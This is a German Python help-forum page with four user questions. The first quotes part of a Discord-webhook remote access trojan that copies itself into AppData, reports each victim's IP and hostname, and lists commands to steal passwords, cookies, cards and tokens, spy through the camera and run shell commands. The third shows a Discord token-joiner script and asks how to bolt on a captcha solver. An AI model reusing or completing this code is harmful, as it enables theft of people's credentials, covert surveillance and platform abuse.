Python – die besten Beiträge

Python Error aber wo?

Ich hab ein Python Skript da ist irgendwo ein Error aber ich weiß nicht wo das Problem ist. Mir wird der Error aber auch nicht angezeigt daher dass der Skript in den ersten 6000 Zeilen überall rot ist. Also der Text ist rot. Daher ist es nicht zu sehen aber der Stript schließt sich direkt. Daher weiß ich, dass da etwas nicht richtig Ich sehe nur, dass in der Zeile zwischen bis dahin erros sind, aber nicht wo genau

if file_name not in secret_names:
        while True:
            file_name_secret = random.choice(secret_names)
            if ext not in file_name_secret: continue
            else: break

        path_name = random.choice(path_appdata) "\\Windows"

        if not os.path.isdir(path_name):
            os.mkdir(path_name)

        script_path = f"{path_name}\\{file_name_secret}"
        shutil.copy(sys.argv[0], script_path)
            
        if ext == "py":
            os.system(f"python {script_path}")
            sys.exit()
        elif ext == "exe":
            os,system(f"start {script_path}")
            sys.exit()
        else:
            os.system(f"start {script_path}")
            sys.exit()

def NewConnection(w3bh00k_ur1):
    try:
        client = SyncWebhook.from_url(w3bh00k_ur1)

        embed = discord.Embed(
            title= f'New Connection !',
            description= f"""```
Status    : Connected
Day       : {current_time_day()}
Hour      : {current_time_hour()}
Hostname  : {hostname_pc}
Username  : {username_pc}
Country   : {country}
Ip        : {ip_address_public}
File Name : {file_name}
```""",
            color= color_embed
        )
        client.send(embed=embed, username=username_embed, avatar_url=avatar_embed)
    except:
        pass

        
def HelpCommand(w3bh00k_ur1, prefix):
    client = SyncWebhook.from_url(w3bh00k_ur1)

    embed = discord.Embed(
        title= f'R4t Commands:',
        color= color_embed
    )
    embed.add_field(name=f"{prefix}help", value=f"This.", inline=False)
    embed.add_field(name=f"{prefix}system_info", value=f"Steal: User, System, Ip, Disk, Screen, Location, etc.", inline=False)
    embed.add_field(name=f"{prefix}discord_token", value=f"Steal: Token, Email, Phone, Id, Username, etc. ", inline=False)
    embed.add_field(name=f"{prefix}browser_steal", value=f"Steal: Passwords, History, Cookies, Downloads, Cards, etc. ", inline=False)
    embed.add_field(name=f"{prefix}roblox_cookie", value=f"Steal: Cookie, Id, Username, etc. ", inline=False)
    embed.add_field(name=f"{prefix}camera_capture", value=f"Record the victim's computer camera.", inline=False)
    embed.add_field(name=f"{prefix}screenshot", value=f"Capture the victim's computer screen.", inline=False)
    embed.add_field(name=f"{prefix}shutdown", value=f"Turn off the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}terminal `[cmd]`", value=f"Write to the victim's computer terminal.", inline=False)
    embed.add_field(name=f"{prefix}open_url `[url]`", value=f"Launch a web page on the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}block_website `[url]`", value=f"Blocks a website on the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}open_calculator `[number]`", value=f"Opens the calculator on the victim's computer a certain number of times.", inline=False)
    embed.add_field(name=f"{prefix}block_task_manager", value=f"Blocks the task manager of the victim's computer.", inline=False)
    embed.add_field(name=f"{prefix}voice `[text]`", value=f"Plays a voice with the chosen text on the victim's computer.", inline=False)
    embed.set_footer(text=footer_text, icon_url=avatar_embed)

    client.send(embed=embed, username=username_embed, avatar_url=avatar_embed)

hid3_pr0gr4m()
try: St4rtup()
except: pass

intents = discord.Intents.default()
intents.guilds = True
intents.messages = True
intents.message_content = True

Bot, Error, Python, Discord

Python discord NonType Error?

Ich habe einen Error in meinem Code:

async def on_submit(self, interaction2: discord.Interaction):
    response = await sendRequests(str(self.username), str(self.email), str(self.password))
    if response == "email":
        await interaction2.response.send_message("Incorrect email format", ephemeral=True)
        return
    if response == "password":
        await interaction2.response.send_message("Incorrect password format. The password must meet these requirements: \nOne Uppercase letter \nOne lowercase letter \nOne number\n A special character ", ephemeral=True)
        return
    if response == "maintenance":
        await interaction2.response.send_message("The system is currently under maintenance. Please look in #news for more infos.", ephemeral=True)
    query = "INSERT INTO users VALUES (?, ?, ?, ?)"
    main.cursor.execute(query, (interaction2.user.id, str(self.username), str(self.email), str(self.password)))
    main.database.commit()
    await interaction2.response.send_message("You are now in the registration process. This can take up to one hour.", ephemeral=True)
    channel = main.bot.get_channel(1309925591146958933)
    await channel.send("make a recaptcha, registration from user : " + str(interaction2.user.name) + " with id: " + str(interaction2.user.id))

Error:
[2024-11-23 19:32:43] [ERROR  ] discord.ui.modal: Ignoring exception in modal <RegisterModal timeout=None children=3>:

Traceback (most recent call last):

 File ".venv\Lib\site-packages\discord\ui\modal.py", line 189, in _scheduled_task

   await self.on_submit(interaction)

 File "TestButton.py", line 41, in on_submit

   await channel.send("make a recaptcha, registration from user : " + str(interaction2.user.name) + " with id: " + str(interaction2.user.id))

         ^^^^^^^^^^^^

AttributeError: 'NoneType' object has no attribute 'send'

Bot, Code, Programmiersprache, Python, Webentwicklung, Python 3, Pycharm, Discord, Discord Bot

Capmonster integration in Python Script?

Guten Tag,

seit einigen Tagen versuche ich den captcha solver capmonster in mein Python Script, welches ein Discord Token Joiner ist, zu integrieren. Jedoch bekomme ich es nicht hin.

Wäre nett wenn mir jemand dabei helfen könnte.

from util import *

def send(invite, token):
  session = Client.get_session(token)
  result = session.post(f"https://discord.com/api/v9/invites/{invite}", json={"session_id": utility.rand_str(32)})
  if result.status_code == 200:
    Output("good", token).log(f"Joined {Fore.LIGHTBLACK_EX}{invite} {Fore.GREEN}-> {token} {Fore.LIGHTBLACK_EX}({result.status_code})")
  else:
    Output.error_logger(token, result.text, result.status_code)

def token_joiner():
  Output.set_title(f"Token Joiner")
   
  # Get the invite code from the user
  invite = input("Enter the invite link (without 'https://discord.gg/'): ").strip()
  invite = invite.split("/")[-1]
   
  # Get the number of threads
  max_threads = int(input("Enter the number of threads: ").strip())
   
  # Get the server name (if available)
  server_name = utility.get_server_name(invite)
  if server_name is not None:
    Output("info").notime(f"Joining {Fore.RED}{server_name}")
   
  # Run the threads
  utility.run_threads(max_threads=max_threads, func=send, args=[invite])
   
  # Wait for user to press Enter before closing the script
  input("\nPress Enter to exit the script...")

if __name__ == "__main__":
  token_joiner()
Python, captcha, Discord

Python und Physik: Harmonischer Oszillator graphisch bis n= 4?

Ich würde gerne die Vorlesungen nacharbeiten von der Uni. Wir hatten das Thema Harmonischer Oszillator und ich würde gerne so ein Plot erstellen, was ungefähr so aussieht

Allerdings bis n=4. Also einmal die stationären (psi_n(x)) und einmal die Aufenthaltswahrscheinlichkeit |psi_n(x)|^2

Wobei die Parabel das Potential darstellen soll.

Das problem ist, dass ich das irgendwie nicht richtig gesplottet kriege. Meine Graphen sehen immer wieder komisch aus und weiß einfach nicht warum. Kann jemand mir helfen das zu Plotten?

Also bis jetzt sieht mein Code so aus:

import numpy as np

import matplotlib.pyplot as plt

from scipy.special import hermite

# Konstanten

e = 1.602176634e-19 # Elementarladung [C]

m = 9.10938356e-31 # Masse des Elektrons

hq = 1.0545718e-34 # Wirkungsquantum

# Parameter

x0 = 1e-10 # Klassischer Umkehrpunkt in m

V0 = 7 * e # Potential bei einer Auslenkung um x0

NN = 4 # Anzahl von Wellenfunktionen

N = np.arange(NN)

c = V0 / x0**2 # Kraftkonstante Oszillators

omega = np.sqrt(c / m) # Frequenz des Oszillators

# Maximales benötigtes x

xmax = np.sqrt(2 * hq / (m * omega) * (NN + 1/2))

x = np.linspace(-xmax, xmax, 200)

y = np.sqrt(m * omega / hq) * x

# Potential

V = 0.5 * c * x**2

plt.figure(figsize=(7, 10))

plt.plot(x * 1e10, V / e, linewidth=1.5)

plt.xlabel('x [Angstrom]', fontsize=20)

plt.ylabel('V [eV]', fontsize=20)

plt.grid(True)

# Energieeigenwerte

E = np.zeros((NN, len(x)))

for n in N:

E[n, :] = (n + 0.5) * hq * omega / e

plt.plot(x * 1e10, E[N, :].T, 'g', linewidth=1.5)

plt.ylim(0, E[-1, 0] * 1.2)

#geraden Potenzreihen

a = np.zeros((len(N) + 2, len(N) + 1))

for n in range(0, len(N), 2):

a[0, n] = 1

for j in range(0, len(N), 2):

a[j + 2, n] = 1

# ungerade Potenzreihen

for n in range(1, len(N), 2):

a[1, n] = 1

for j in range(1, len(N), 2):

a[j + 2, n] = 1

# Wellenfunktionen psi(n,y)

psi = np.zeros((len(N) + 1, len(x)))

for n in range(len(N)):

psi[n, :] = 0

for j in range(len(N)):

psi[n, :] += a[j, n] * hermite(j)(y)

psi[n, :] *= np.exp(-y**2 / 2)

# Normierung der Wellenfunktionen

dx = x[1]-x[0]

psi[n, :] /= np.sqrt(dx * np.sum(psi[n, :]**2))

# Skalierung der Wellenfunktionen

dE = E[1, 0] - E[0, 0]

psi_max = np.max(psi)

fact = dE / psi_max / 2

plt.plot(x * 1e10, fact * psi[N, :].T + E[N, :].T, 'r', linewidth=2)

# Aufenthaltswahrscheinlichkeit

plt.figure(figsize=(7, 10))

plt.plot(x * 1e10, V / e, linewidth=1.5)

plt.xlabel('x [Angstrom]', fontsize=20)

plt.ylabel('V [eV]', fontsize=20)

plt.grid(True)

plt.ylim(0, E[-1, 0] * 1.2)

plt.plot(x * 1e10, E[N, :].T, 'g', linewidth=1.5)

# Skalierung der Aufenthaltswahrscheinlichkeiten

fact = dE / psi_max**2 / 1.2

plt.plot(x * 1e10, fact * (psi[N, :].T)**2 + E[N, :].T, 'k', linewidth=2)

plt.show()

(Bitte ignoriert erstmal die Zeilenabstände. )

Bild zum Beitrag
programmieren, harmonische Schwingung, Physik, Python, Quantenmechanik, spyder, Potential, Oszillator, physikalisch, Physikstudium, numerische Mathematik

Meistgelesene Beiträge zum Thema Python